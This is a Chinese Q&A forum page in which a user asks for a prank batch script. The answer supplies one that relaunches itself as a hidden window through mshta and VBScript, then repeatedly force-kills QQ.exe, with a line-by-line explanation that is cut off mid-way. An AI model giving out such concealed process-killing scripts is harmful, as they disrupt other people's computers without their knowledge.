求!恶作剧性质的bat代码

来源:百度知道 编辑:UC知道 时间:2024/05/20 12:47:28
不需要恶意 或者病毒代码 如果有那更好了 ^_^
最好下面讲解一下 因为我想学习bat的语言 自己做点bat的程序玩

给你一段好玩的代码(我自己编的)。功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin

代码到此为止
讲解如下:
@echo off ------关闭回显
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
:begin ------------定一段名begin
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
:killit
taskkill /f /im Q